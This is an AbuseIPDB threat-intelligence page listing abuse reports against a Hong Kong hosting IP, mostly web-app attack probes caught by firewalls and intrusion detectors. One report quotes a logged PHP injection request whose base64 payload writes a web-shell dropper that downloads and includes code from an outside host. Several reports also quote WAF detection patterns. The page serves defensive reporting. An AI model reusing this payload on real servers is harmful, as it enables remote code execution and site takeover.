JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 103.112.99.135

103.112.99.135 was found in our database!

This IP was reported 27 times. Confidence of Abuse is 96%: ?

96%

ISP	AROSS-AS
Usage Type	Data Center/Web Hosting/Transit
ASN	AS400619
Domain Name	shangxingtech.com
Country	🇭🇰 Hong Kong
City	Hong Kong

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 103.112.99.135

Whois 103.112.99.135

IP Abuse Reports for 103.112.99.135:

This IP address has been reported a total of 27 times from 21 distinct sources. 103.112.99.135 was first reported on February 6th 2026, and the most recent report was 12 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
Anonymous	2026-07-23 08:49:33 (12 hours ago)	Automatically blocked after 2 security events. Observed repeated web application attack probes. Sour ... show more Automatically blocked after 2 security events. Observed repeated web application attack probes. Source: Cloudflare security controls. show less	Hacking Web App Attack
🇫🇷 dynamix	2026-07-23 02:14:03 (19 hours ago)	Multiple WAF Violations	Web App Attack
Anonymous	2026-07-22 16:30:12 (1 day ago)	SIEM ALERT AUTO REPORT	Email Spam
🇺🇸 ipblock.com	2026-07-22 14:55:00 (1 day ago)	IPBlock protected site ID [669-fx]. Exploit request, vulnerability probe.	Hacking Bad Web Bot Web App Attack
🇩🇪 expandmade.com	2026-07-22 12:00:31 (1 day ago)	trolling for installation vulnerabilities [22/Jul/2026:12:00:31 "GET /runtime/archive/cnm.php"]	Web App Attack
🇮🇹 mediarama.com	2026-07-22 11:34:13 (1 day ago)	Banned by Fail2Ban	Web App Attack
🇺🇸 Starburst SysOp Team	2026-07-22 11:09:29 (1 day ago)	PHP Injection Attack: PHP Open Tag Found. Pattern match "(?i)<\\\\?(?:php (933100-mnz6-1)	Hacking
Anonymous	2026-07-22 09:30:47 (1 day ago)	FortiWeb WAF: 144 attacks detected. Threat Score: 6300. Types: Client Management(72), Signature Dete ... show more FortiWeb WAF: 144 attacks detected. Threat Score: 6300. Types: Client Management(72), Signature Detection(48), HTTP Protocol Constraints(24). Origin: Hong Kong. show less	Web App Attack
🇮🇩 securejdprop	2026-07-22 06:49:34 (1 day ago)	This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET EXPLOIT file_pu ... show more This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET EXPLOIT file_put_contents php base64 encoded Remote Code Execution 3). show less	Hacking Web App Attack
Anonymous	2026-07-22 06:32:16 (1 day ago)	103.112.99.135 - - [22/Jul/2026:14:32:15 +0800] "GET /?p=/&s=<?=//file_put_contents(\"runtime/arch ... show more 103.112.99.135 - - [22/Jul/2026:14:32:15 +0800] "GET /?p=/&s=<?=//file_put_contents(\"runtime/archive/cnm.php\",base64_decode(\"R2lmODk8P3BocApmaWxlX3B1dF9jb250ZW50cygiY2hpbmEudHh0IiwgZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuaGxiZWlwLmNvbS91cGxvYWRzLy9vcmlnaW5hbC8vMjAyNjA3MTMvYS50eHQiKSk7CmluY2x1ZGUoImNoaW5hLnR4dCIpOwo/Pg==\"));?> HTTP/1.1" 301 536 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" ... show less	Bad Web Bot Web App Attack
🇩🇪 AetherFox	2026-07-22 00:00:30 (1 day ago)	AetherFox VoidGuard detected: [Wed Jul 22 00:00:26.478603 2026] [authz_core:error] [pid 2181295:tid ... show more AetherFox VoidGuard detected: [Wed Jul 22 00:00:26.478603 2026] [authz_core:error] [pid 2181295:tid 2181298] [client 103.112.99.135:58817] AH01630: client denied by server configuration: proxy:http://[MASKED]/ [Wed Jul 22 00:00:26.478784 2026] [authz_core:error] [pid 2181295:tid 2181298] [client 103.112.99.135:58817] AH01630: client denied by server configuration: /var/www/html/ERRORpages/403.html [Wed Jul 22 00:00:27.433378 2026] [authz_core:error] [pid 2181295:tid 2181300] [client 103.112.99.135:58950] AH01630: client denied by server configuration: proxy:http://[MASKED]/ [Wed Jul 22 00:00:27.433586 2026] [authz_core:error] [pid 2181295:tid 2181300] [client 103.112.99.135:58950] AH01630: client denied by server configuration: /var/www/html/ERRORpages/403.html [Wed Jul 22 00:00:28.505543 2026] [authz_core:error] [pid 2181294:tid 2181303] [client 103.112.99.135:59057] AH01630: client denied by server configuration: proxy:http://[MASKED]/ ... show less	Bad Web Bot Web App Attack
🇫🇮 [email protected]	2026-07-21 23:55:14 (1 day ago)	Attack attempt against Interwebbi servers; (WPNINJA) Ninja Firewall attack on www.interwebbi.com (Co ... show more Attack attempt against Interwebbi servers; (WPNINJA) Ninja Firewall attack on www.interwebbi.com (Code injection) 103.112.99.135 (HK/Hong Kong/-): 1 in the last 3600 secs (CF_ENABLE); IP: 103.112.99.135; Ports: *; Direction: 0; Trigger: LF_CUSTOMTRIGGER; show less	Web App Attack
🇸🇪 SkyDancer	2026-07-21 20:39:58 (2 days ago)	Multiple intrusion attempts via http/https on known vulnerable url offsets. Attack automatically blo ... show more Multiple intrusion attempts via http/https on known vulnerable url offsets. Attack automatically blocked by SkyDancer Ai(web-X). show less	Hacking Brute-Force
🇺🇸 TPI-Abuse	2026-07-20 12:08:49 (3 days ago)	(mod_security) mod_security (id:949110) triggered by 103.112.99.135 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:949110) triggered by 103.112.99.135 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Jul 20 08:08:44.009137 2026] [security2:error] [pid 2979431:tid 2979431] [client 103.112.99.135:53992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.chuckwagon.org"] [uri "/"] [unique_id "al4PzP0_AvNipVMi3UMPDgAAAAU"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-07-20 08:24:49 (3 days ago)	(mod_security) mod_security (id:211220) triggered by 103.112.99.135 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:211220) triggered by 103.112.99.135 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Jul 20 04:24:45.443630 2026] [security2:error] [pid 5363:tid 5363] [client 103.112.99.135:55932] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\?(?!xml\\\\s)" at ARGS:s. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "70"] [id "211220"] [rev "4"] [msg "COMODO WAF: PHP Injection Attack\|\|www.greenroomonline.org\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.greenroomonline.org"] [uri "/"] [unique_id "al3bTWirJkZ-8Evz97VfTQAAAAE"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 27 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇲🇿 197.219.228.246

🇷🇺 109.169.186.152

🇺🇸 98.81.130.99

🇱🇹 81.30.98.144

🇫🇷 54.38.180.48

🇩🇪 43.165.7.135

🇩🇪 2a01:4f8:120:12a8::2

🇺🇸 2600:3c02::2000:12ff:fed8:5f57

🇪🇨 190.154.189.199

🇨🇱 170.239.190.86

🇩🇪 144.31.125.166

🇺🇸 49.51.179.236

🇭🇰 43.135.107.159

🇮🇩 36.91.166.189

🇮🇱 2.55.126.88

🇿🇦 196.41.9.175

🇧🇷 187.85.188.216

🇭🇰 152.32.254.89

🇰🇷 125.139.87.30

🇧🇬 79.124.56.246